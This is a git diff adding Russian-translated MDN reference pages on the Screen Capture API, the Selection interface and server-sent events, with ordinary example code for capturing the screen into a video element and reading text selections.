Screen Capture API concepts and usage

+ +

The Screen Capture API is relatively simple to use. Its sole method is {{domxref("MediaDevices.getDisplayMedia()")}}, whose job is to ask the user to select a screen or portion of a screen to capture in the form of a {{domxref("MediaStream")}}.

+ +

To start capturing video from the screen, you call getDisplayMedia() on the instance of Media navigator.mediaDevices:

+ +
captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+ +

The {{jsxref("Promise")}} returned by getDisplayMedia() resolves to a {{domxref("MediaStream")}} which streams the captured media.

+ +

See the article Using the Screen Capture API for a more in-depth look at how to use the API to capture screen contents as a stream.

+ +

Additions to existing interfaces

+ +

The Screen Capture API doesn't have any interfaces of its own; instead, it adds one method to the existing {{domxref("MediaDevices")}} interface.

+ +

MediaDevices interface

+ +
+
{{domxref("MediaDevices.getDisplayMedia()")}}
+
The getDisplayMedia() method is added to the MediaDevices interface. Similar to {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, this method creates a promise that resolves with a {{domxref("MediaStream")}} containing the display area selected by the user, in a format that matches the specified options.
+
+ +

Additions to existing dictionaries

+ +

The Screen Capture API adds properties to the following dictionaries defined by other specifications.

+ +

MediaTrackConstraints

+ +
+
{{domxref("MediaTrackConstraints.cursor")}}
+
A {{domxref("ConstrainDOMString")}} indicating whether or not the cursor should be included in the captured display surface's stream, and if it should always be visible or if it should only be visible while the mouse is in motion.
+
{{domxref("MediaTrackConstraints.displaySurface")}}
+
A {{domxref("ConstrainDOMString")}} indicating what type of display surface is to be captured. The value is one of application, browser, monitor, or window.
+
{{domxref("MediaTrackConstraints.logicalSurface")}}
+
Indicates whether or not the video in the stream represents a logical display surface (that is, one which may not be entirely visible onscreen, or may be completely offscreen). A value of true indicates a logical display surface is to be captured.
+
+ +

MediaTrackSettings

+ +
+
{{domxref("MediaTrackSettings.cursor")}}
+
A string which indicates whether or not the display surface currently being captured includes the mouse cursor, and if so, whether it's only visible while the mouse is in motion or if it's always visible. The value is one of always, motion, or never.
+
{{domxref("MediaTrackSettings.displaySurface")}}
+
A string indicating what type of display surface is currently being captured. The value is one of application, browser, monitor, or window.
+
{{domxref("MediaTrackSettings.logicalSurface")}}
+
A Boolean value which is true if the video being captured doesn't directly correspond to a single onscreen display area.
+
+ +

MediaTrackSupportedConstraints

+ +
+
{{domxref("MediaTrackSupportedConstraints.cursor")}}
+
A Boolean which is true if the user agent and device support the {{domxref("MediaTrackConstraints.cursor")}} constraint.
+
{{domxref("MediaTrackSupportedConstraints.displaySurface")}}
+
A Boolean which is true if the current environment supports the {{domxref("MediaTrackConstraints.displaySurface")}} constraint.
+
{{domxref("MediaTrackSupportedConstraints.logicalSurface")}}
+
A Boolean which is true if the current environment supports the constraint {{domxref("MediaTrackConstraints.logicalSurface")}}.
+
+ +

Dictionaries

+ +

The following dictionaries are defined by the Screen Capture API.

+ +
+
CursorCaptureConstraint
+
An enumerated string type used to provide the value for the cursor property for the settings and constraints. The possible values are always, motion, and never.
+
DisplayCaptureSurfaceType
+
An enumerated string type which is used to identify the kind of display surface to capture. This type is used for the displaySurface property in the constraints and settings objects, and has the possible values application, browser, monitor, and window.
+
+ +

Feature Policy validation

+ +

{{Glossary("User agent", "User agents")}} that support Feature Policy (either using HTTP's {{HTTPHeader("Feature-Policy")}} header or the {{HTMLElement("iframe")}} attribute {{htmlattrxref("allow", "iframe")}}) can specify a desire to use the Screen Capture API using the policy control directive display-capture:

+ +
<iframe allow="display-capture" src="/some-other-document.html">
+ +

The default allow list is self, which lets the any content within the document use Screen Capture.

+ +

See Using Feature Policy for a more in-depth explanation of how Feature Policy is used.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Screen Capture')}}{{Spec2('Screen Capture')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.MediaDevices.getDisplayMedia")}}

+
+ +

See also

+ + diff --git a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html new file mode 100644 index 0000000000..43d7ace93d --- /dev/null +++ b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html @@ -0,0 +1,351 @@ +--- +title: Использование интерфейса Screen Capture API +slug: Web/API/Screen_Capture_API/Using_Screen_Capture +translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture +--- +

{{DefaultAPISidebar("Screen Capture API")}}

+ +

В этой статье изучается использование програмного интерфейса  Screen Capture и его метода {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} для захвата потока экрана (всего или его части), его записи или передачи через сессию WebRTC .

+ +
+

Примечание : Полезно отметить, что последние версии библиотеки WebRTC adapter.js  включают реализацию метода getDisplayMedia() для обмена изображениями с экрана на браузерах, которые его поддерживают, но еще не реализуют текущий стандартный интерфейс, который реализован в последних версиях  Chrome, Edge, и Firefox.

+
+ +

Захват содержимого экрана

+ +

Захват содержимого экрана, как живого потока {{domxref("MediaStream")}} запускается вызовом метода {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getDisplayMedia()")}}, и возвращает экземпляр объекта промиса , который разрешается объектом потока, текущих медиаданных с экрана.

+ +
+
Запуск захвата с экрана : в стиле async/await 
+ +
async function startCapture(displayMediaOptions) {
+  let captureStream = null;
+
+  try {
+    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+  return captureStream;
+}
+ +

Можно написать этот код, используя асинхронную функцию и оператор await , как показано выше, или использовать тип {{jsxref("Promise")}} непосредственно, пример ниже.

+ +
+
Запуска захвата с экрана: в стиле Promise  + +
function startCapture(displayMediaOptions) {
+ let captureStream = null;
+
+ return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
+    .catch(err => { console.error("Error:" + err); return null; });
+}
+ +

В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции startCapture() возвращают объект типа  {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съемку ?).

+ +

Смотрим {{anch("Options and constraints")}}, ниже, подробнее о том, как указать желаемый тип поверхности, а также о других способах настройки результирующего потока.

+ +
+
Пример окна, позволяющего пользователю выбрать поверхность дисплея для захвата
+ +

Screenshot of Chrome's window for picking a source surface

+
+ +

Затем можно использовать захваченный поток captureStream, везде, где принимается тип потока в качестве входных параметров.  Пример {{anch("Examples", "examples")}} ниже показывает несколько способов использования полученного типа потока 

+ +

Видимые или логические  поверхности отображения

+ +

Для целей интерфейса Screen Capture API, поверхность отображения - это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединенные в одну поверхность, и монитор (или группу мониторов, объединенных в одну поверхность).

+ +

Есть два типа поверхности дисплея. Видимая поверхность отображения - это поверхность, которая полностью видна на экране, например, переднее окно или вкладка или весь экран.

+ +

Логическая поверхность отображения - это поверхность, которая частично или полностью скрыта, либо в некоторой степени перекрывается  другим объектом, либо полностью скрытая или находиться вне экрана. Эти поверхности обрабатываются по другому. Как правило, браузер предоставляет изображение, которое каким-то образом скрывает скрытую часть поверхности логического дисплея, например размытие или замена цветом или рисунком. Это сделано из соображений безопасности, поскольку контент, который не может быть просмотрен пользователем, может содержать данные, которыми они не хотят делиться.

+ +

Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушеванный контент, либо путем получения текущего содержимого скрытой части окна, либо путем предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.

+ +

Свойства и ограничения

+ +

Объект ограничений, передающийся в метод {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} является объектом типа {{domxref("DisplayMediaStreamConstraints")}} , который используется для конфигурации получаемого объекта потока.

+ +
+

Примечание : В отличие от большинства применений ограничений в медиа-API, здесь он используется исключительно для определения конфигурации потока, а не для фильтрации доступных вариантов.

+
+ +

Существуют три новых ограничения, добавленныех в объект типа MediaTrackConstraints (а так же в  {{domxref("MediaTrackSupportedConstraints")}} и {{domxref("MediaTrackSettings")}}) для конфигурирования потока захвата экрана:

+ +
+
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
+
+

Указывает, следует ли захватывать курсор мыши и, если да, делать это постоянно или только во время движения мыши. Возможные значения:

+ +
+
always 
+
(всегда) Курсор мыши всегда захватывается в результирующий поток.
+
motion 
+
(в движении) Курсор должен быть видимым при его движении, и (на усмотрение  {{Glossary("user agent")}} ) на короткое время до и после движения. В покое курсор удаляется из потока.
+
never   
+
 (никогда) Курсор не появляетсяв результирующем потоке..
+
+
+
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
+
Тип Boolean , при истинном значении определяет, что захват должен включать область за пределами экрана, если имеется.
+
+ +

Ни одно из ограничений никак не применяется до тех пор, пока не будет выбран контент для захвата. Ограничения изменяют то, что вы видите в полученном потоке

+ +

К примеру, если определить ограничение  {{domxref("MediaTrackConstraints.width", "width")}} для видео, оно применится как масштабирование видео, после того, как пользователь выберет область, и не устанавливает ограничение на размер самого источника.

+ +
+

Примечание : Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определенным контентом, ограничивая исходный список, пока не останется только один элемент.

+
+ +

В процессе захвата экрана машина, которая обменивается содержимым экрана, будет отображать какую-то форму индикатора, чтобы пользователь знал, что обмен находиться в процессе.

+ +
+

Примечание : Из соображений конфиденциальности и безопасности источники совместного использования экрана не перечисляются с использованием метода {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. По той-же причине, событие {{event("devicechange")}} никогда не вызывается, когда есть изменения в доступных источниках  при выполнении getDisplayMedia().

+
+ +

Захват передаваемого аудио

+ +

Метод {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} в основном используется для захвата видео пользовательского экрана или его части. Однако {{Glossary("user agent", "user agents")}} может позволить захватить аудио вместе с видео контентом. Источником аудио может быть выбранное окно, вся аудио система компьютера, или пользовательский микрофон (или их комбинация) .

+ +

До запуска скрипта, который будет запрашивать возможность обмена аудио, проверте реализацию  {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} , для понимания браузерной совместимости с функциональностью захвата аудио в поток захвата экрана.

+ +

Чтобы запросить доступ к экрану с включенным звуком, параметры ниже передаются в метод getDisplayMedia():

+ +
const gdmOptions = {
+  video: true,
+  audio: true
+}
+
+ +

Это дает пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства audio и video:

+ +
const gdmOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: {
+    echoCancellation: true,
+    noiseSuppression: true,
+    sampleRate: 44100
+  }
+}
+
+ +

В этом примере курсор всегда будет виден при захвате, и на звуковой дорожке в идеале должны быть включены функции подавления шума и эхоподавления, а также идеальная частота дискретизации звука 44,1 кГц

+ +

Захват аудио всегда необязателен, и даже когда веб-контент запрашивает поток с аудио  и видео, возвращаемый {{domxref ("MediaStream")}} может по-прежнему иметь только одну видеодорожку без звука.

+ +
+

Примечание : Некоторые свойства не реализованы широко и могут не использоваться движком. К примеру, cursor имеет ограниченную поддержку.

+
+ +

Using the captured stream

+ +

The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when getDisplayMedia() was called.

+ +

Security

+ +

As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.

+ +

Potential risks

+ +

Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.

+ +

For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.

+ +

User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.

+ +

Authorizing capture of display contents

+ +

Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.

+
+
+ +

Examples

+ +

Simple screen capture

+ +

In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.

+ +

JavaScript

+ +

There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.

+ +
Setup
+ +

First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.

+ +

The object displayMediaOptions contains the {{domxref("MediaStreamConstraints")}} to pass into getDisplayMedia(); here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to always, indicating that the mouse cursor should always be included in the captured media.

+ +
+

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

+
+ +

Finally, event listeners are established to detect user clicks on the start and stop buttons.

+ +
const videoElem = document.getElementById("video");
+const logElem = document.getElementById("log");
+const startElem = document.getElementById("start");
+const stopElem = document.getElementById("stop");
+
+// Options for getDisplayMedia()
+
+var displayMediaOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: false
+};
+
+// Set event listeners for the start and stop buttons
+startElem.addEventListener("click", function(evt) {
+  startCapture();
+}, false);
+
+stopElem.addEventListener("click", function(evt) {
+  stopCapture();
+}, false);
+ +
Logging content
+ +

To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is log.

+ +
console.log = msg => logElem.innerHTML += `${msg}<br>`;
+console.error = msg => logElem.innerHTML += `<span class="error">${msg}</span><br>`;
+console.warn = msg => logElem.innerHTML += `<span class="warn">${msg}<span><br>`;
+console.info = msg => logElem.innerHTML += `<span class="info">${msg}</span><br>`;
+ +

This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.

+ +
Starting display capture
+ +

The startCapture() method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. startCapture() is called when the "Start Capture" button is clicked.

+ +
async function startCapture() {
+  logElem.innerHTML = "";
+
+  try {
+    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+    dumpOptionsInfo();
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+}
+ +

After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, startCapture() calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by displayMediaOptions. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by getDisplayMedia() resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.

+ +

The stream is connected to the {{HTMLElement("video")}} element by storing the returned MediaStream into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.

+ +

The dumpOptionsInfo() function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.

+ +

If any of that fails, the catch() clause outputs an error message to the log box.

+ +
Stopping display capture
+ +

The stopCapture() method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, srcObject is set to null to make sure it's understood by anyone interested that there's no stream connected.

+ +
function stopCapture(evt) {
+  let tracks = videoElem.srcObject.getTracks();
+
+  tracks.forEach(track => track.stop());
+  videoElem.srcObject = null;
+}
+ +
Dumping configuration information
+ +

For informational purposes, the startCapture() method shown above calls a method named dumpOptions(), which outputs the current track settings as well as the consrtaints that were placed upon the stream when it was created.

+ +
function dumpOptionsInfo() {
+  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
+
+  console.info("Track settings:");
+  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
+  console.info("Track constraints:");
+  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
+}
+ +

The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currentoly in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}

+ +

HTML

+ +

The HTML starts with a simple introductory paragraph, then gets into the meat of things.

+ +
    +
+ +
<p>This example shows you the contents of the selected part of your display.
+Click the Start Capture button to begin.</p>
+
+<p><button id="start">Start Capture</button>&nbsp;<button id="stop">Stop Capture</button></p>
+
+<video id="video" autoplay></video>
+<br>
+
+<strong>Log:</strong>
+<br>
+<pre id="log"></pre>
+ +

The key parts of the HTML are:

+ +
    +
  1. A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the startCapture() function to request access to, and begin capturing, screen contents.
    2. +
  2. A second button, "Stop Capture", which upon being clicked calls stopCapture() to terminate capture of screen contents.
    3. +
  3. A {{HTMLElement("video")}} into which the captured screen contents are streamed.
    4. +
  4. A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.
    5. +
+ +

CSS

+ +

The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (width: 98%). {{cssxref("max-width")}} is set to 860px to set an absolute upper limit on the video's size,

+ +

The error, warn, and info classes are used to style the corresponding console output types.

+ +
#video {
+  border: 1px solid #999;
+  width: 98%;
+  max-width: 860px;
+}
+
+.error {
+  color: red;
+}
+
+.warn {
+  color: orange;
+}
+
+.info {
+  color: darkgreen;
+}
+ +

Result

+ +

The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.

+ +

{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}

+ +

Security

+ +

In order to function when Feature Policy is enabled, you will need the display-capture permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <iframe> element's {{htmlattrxref("allow", "iframe")}} attribute.

+ +

For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:

+ +
Feature-Policy: display-capture 'self'
+ +

If you're performing screen capture within an <iframe>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:

+ +
<iframe src="https://mycode.example.net/etc" allow="display-capture">
+</iframe>
+
+ +

See also

+ + +
diff --git a/files/ru/web/api/selection/getrangeat/index.html b/files/ru/web/api/selection/getrangeat/index.html new file mode 100644 index 0000000000..b69ef6a122 --- /dev/null +++ b/files/ru/web/api/selection/getrangeat/index.html @@ -0,0 +1,118 @@ +--- +title: Selection.getRangeAt() +slug: Web/API/Selection/getRangeAt +translation_of: Web/API/Selection/getRangeAt +--- +
+
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+
+ +

Метод Selection.getRangeAt() возвращает объект диапазона, который представляет один из диапазонов, выделенного на данный момент.

+ +

Синтаксис

+ +
range = sel.getRangeAt(index)
+
+ +

Параметры

+ +
+
range
+
Объект {{domxref("Range")}}, который будет возвращён.
+
index
+
Индекс диапазона, начинающийся с нуля, который необходимо вернуть. Отрицательное значение или значение выше или равное {{domxref("Selection.rangeCount")}} приведёт к ошибке.
+
+ +

Примеры

+ +
var ranges = [];
+
+sel = window.getSelection();
+
+for(var i = 0; i < sel.rangeCount; i++) {
+ ranges[i] = sel.getRangeAt(i);
+}
+/* Каждый элемент в массиве диапазонов является
+ * объектом диапазона, который представляет
+ * один из диапазонов текущего выделения */
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML Editing', '#dom-selection-getrangeat', 'Selection.getRangeAt()')}}{{Spec2('HTML Editing')}}Первоначальное определение
+ +

Совместимость

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержкаДа{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/selection/index.html b/files/ru/web/api/selection/index.html new file mode 100644 index 0000000000..183e9a7cb7 --- /dev/null +++ b/files/ru/web/api/selection/index.html @@ -0,0 +1,223 @@ +--- +title: Selection +slug: Web/API/Selection +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - Reference + - Selection + - TopicStub +translation_of: Web/API/Selection +--- +
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+ +
A Selection object represents the range of text selected by the user or the current position of the caret. To obtain a Selection object for examination or modification, call {{domxref("window.getSelection()")}}.
+ +
 
+ +

Свойства

+ +
+
{{domxref("Selection.anchorNode")}}
+
Returns the {{domxref("Node")}} in which the selection begins.
+
{{domxref("Selection.anchorOffset")}}
+
Returns a number representing the offset of the selection's anchor within the anchorNode. If anchorNode is a text node, this is the number of characters within anchorNode preceding the anchor. If anchorNode is an element, this is the number of child nodes of the anchorNode preceding the anchor.
+
{{domxref("Selection.focusNode")}}
+
Returns the {{domxref("Node")}} in which the selection ends.
+
{{domxref("Selection.focusOffset")}}
+
Returns a number representing the offset of the selection's anchor within the focusNode. If focusNode is a text node, this is the number of characters within focusNode preceding the focus. If focusNode is an element, this is the number of child nodes of the focusNode preceding the focus.
+
{{domxref("Selection.isCollapsed")}}
+
Returns a Boolean indicating whether the selection's start and end points are at the same position.
+
{{domxref("Selection.rangeCount")}}
+
Returns the number of ranges in the selection.
+
+ +

Методы

+ +
+
{{domxref("Selection.getRangeAt()")}}
+
Returns a {{domxref("Range")}} object representing one of the ranges currently selected.
+
{{domxref("Selection.collapse()")}}
+
Collapses the current selection to a single point.
+
{{domxref("Selection.extend()")}}
+
Moves the focus of the selection to a specified point.
+
{{domxref("Selection.modify()")}}{{non-standard_inline}}
+
Changes the current selection.
+
{{domxref("Selection.collapseToStart()")}}
+
Collapses the selection to the start of the first range in the selection.
+
{{domxref("Selection.collapseToEnd()")}}
+
Collapses the selection to the end of the last range in the selection.
+
{{domxref("Selection.selectAllChildren()")}}
+
Adds all the children of the specified node to the selection.
+
{{domxref("Selection.addRange()")}}
+
A {{domxref("Range")}} object that will be added to the selection.
+
{{domxref("Selection.removeRange()")}}
+
Removes a range from the selection.
+
{{domxref("Selection.removeAllRanges()")}}
+
Removes all ranges from the selection.
+
{{domxref("Selection.deleteFromDocument()")}}
+
Deletes the selection's content from the document.
+
{{domxref("Selection.toString()")}}
+
Returns a string currently being represented by the selection object, i.e. the currently selected text.
+
{{domxref("Selection.containsNode()")}}
+
Indicates if a certain node is part of the selection.
+
+ +

Notes

+ +

String representation of a selection

+ +

Calling the {{domxref("Selection.toString()")}} method returns the text contained in the selection, e.g.:

+ +
var selObj = window.getSelection();
+window.alert(selObj);
+
+ +

Note that using a selection object as the argument to window.alert will call the object's toString method.

+ +

Multiple ranges in a selection

+ +

A selection object represents the {{domxref("range","ranges")}} that the user has selected. Typically, it holds only one range, accessed as follows:

+ +
+
var selObj = window.getSelection();
+var range  = selObj.getRangeAt(0);
+
+ + + +

As the Selection API specification notes, the Selection API was initially created by Netscape and used multiple ranges, for instance, to allow the user to select a column from a {{HTMLElement("table")}}. However browsers other than Gecko did not implement multiple ranges, and the specification also requires the selection to always have a single range.

+ +

Selection and input focus

+ +

Selection and input focus (indicated by {{domxref("Document.activeElement")}}) have a complex relation, that depends on the browser. In cross-browser compatible code it's better to handle them separately.

+ +

Safari and Chrome (unlike Firefox) historically focus the element containing selection when modifying the selection programmatically, but this might change in the future (see W3C bug 14383 and {{webkitbug("38696")}}).

+ +

Glossary

+ +

Other key terms used in this section.

+ +
+
anchor
+
The anchor of a selection is the beginning point of the selection. When making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed. As the user changes the selection using the mouse or the keyboard, the anchor does not move.
+
focus of a selection
+
The focus of a selection is the end point of the selection. When making a selection with a mouse, the focus is where in the document the mouse button is released. As the user changes the selection using the mouse or the keyboard, the focus is the end of the selection that moves. Note: This is not the same as the focused element of the document, as returned by {{domxref("document.activeElement")}}.
+
range
+
A range is a contiguous part of a document. A range can contain entire nodes as well as portions of nodes, such as a portion of a text node. A user will normally only select a single range at a time, but it's possible for a user to select multiple ranges (e.g. by using the Control key). A range can be retrieved from a selection as a {{domxref("range")}} object. Range objects can also be created via the DOM and programmatically added or removed from a selection.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#selection', 'Selection')}}{{Spec2('HTML Editing')}}Initial (older) definition
{{SpecName('Selection API', '#definition', 'Selection')}}{{Spec2('Selection API')}}The Selection API specification is based on the HTML Editing APIs specification and focuses on the Selection-related functionality.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown()}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
modify(){{CompatUnknown}}{{CompatGeckoDesktop(2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
modify(){{CompatUnknown}}{{CompatGeckoMobile(2)}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

См. также

+ + + +

Gecko notes

+ + + +
+
diff --git a/files/ru/web/api/selection/tostring/index.html b/files/ru/web/api/selection/tostring/index.html new file mode 100644 index 0000000000..9726f381b9 --- /dev/null +++ b/files/ru/web/api/selection/tostring/index.html @@ -0,0 +1,66 @@ +--- +title: Selection.toString() +slug: Web/API/Selection/toString +translation_of: Web/API/Selection/toString +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

Метод Selection.toString() возвращает строку, содержащуюся в выделенном объекте, т.е. выделенный текст.

+ +

Syntax

+ +
str = sel.toString()
+
+ +

Return value

+ + + +

Parameters

+ +

None (отсутствуют).

+ +

Description

+ +

Этото метод возвращает выделенный текст.

+ +

В JavaScript, этот метод вызывается автоматически, когда функция, которой он передается, требует строку:

+ +
alert(window.getSelection()) // What is called
+alert(window.getSelection().toString())  // What is actually being effectively called.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-stringifier', 'Selection.toString()')}}{{Spec2('HTML Editing')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Selection.toString")}}

+ +

See also

+ + diff --git a/files/ru/web/api/server-sent_events/index.html b/files/ru/web/api/server-sent_events/index.html new file mode 100644 index 0000000000..f77249df1b --- /dev/null +++ b/files/ru/web/api/server-sent_events/index.html @@ -0,0 +1,72 @@ +--- +title: Server-sent events +slug: Web/API/Server-sent_events +translation_of: Web/API/Server-sent_events +--- +

{{DefaultAPISidebar("Server Sent Events")}}

+ +

По традиции, web-страница должна отправить запрос на сервер, чтобы получить новые данные; это то, как страница получает данные с сервера. Server-sent events дают возможность серверу отправлять новые данные web-странице в любое время, отсылая сообщения web-странице. Такие входящие сообщения могут расцениваться как Events + data внутри web-страницы.

+ +

Понятия и применение

+ +

Чтобы изучить, как использовать server-sent events, обратитесь к статье Using server-sent events.

+ +

Interfaces

+ +
+
{{domxref("EventSource")}}
+
Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc.
+
+ +

Examples

+ + + +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}{{Spec2('HTML WHATWG')}}
+ +

See also

+ +

Tools

+ + + + + + + +

Other resources

+ + diff --git a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html new file mode 100644 index 0000000000..8aeb349c50 --- /dev/null +++ b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html @@ -0,0 +1,186 @@ +--- +title: Using server-sent events +slug: Web/API/Server-sent_events/Using_server-sent_events +translation_of: Web/API/Server-sent_events/Using_server-sent_events +--- +

{{DefaultAPISidebar("Server Sent Events")}}

+ +
+

Разрабатывать web-приложения, использующие Server-Sent Events намного проще, чем с использованием websockets. Нужно всего лишь немного кода на стороне сервере, чтобы переправлять события web-приложению, но клиентская часть кода для обработки этих событий работает почти точно так же, как и для любых других событий.

+
+ +

Получение событий от сервера

+ +

Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект EventSource, который будет указывать на URI скрипта, который создает события. Например:

+ +
const evtSource = new EventSource("ssedemo.php");
+ +

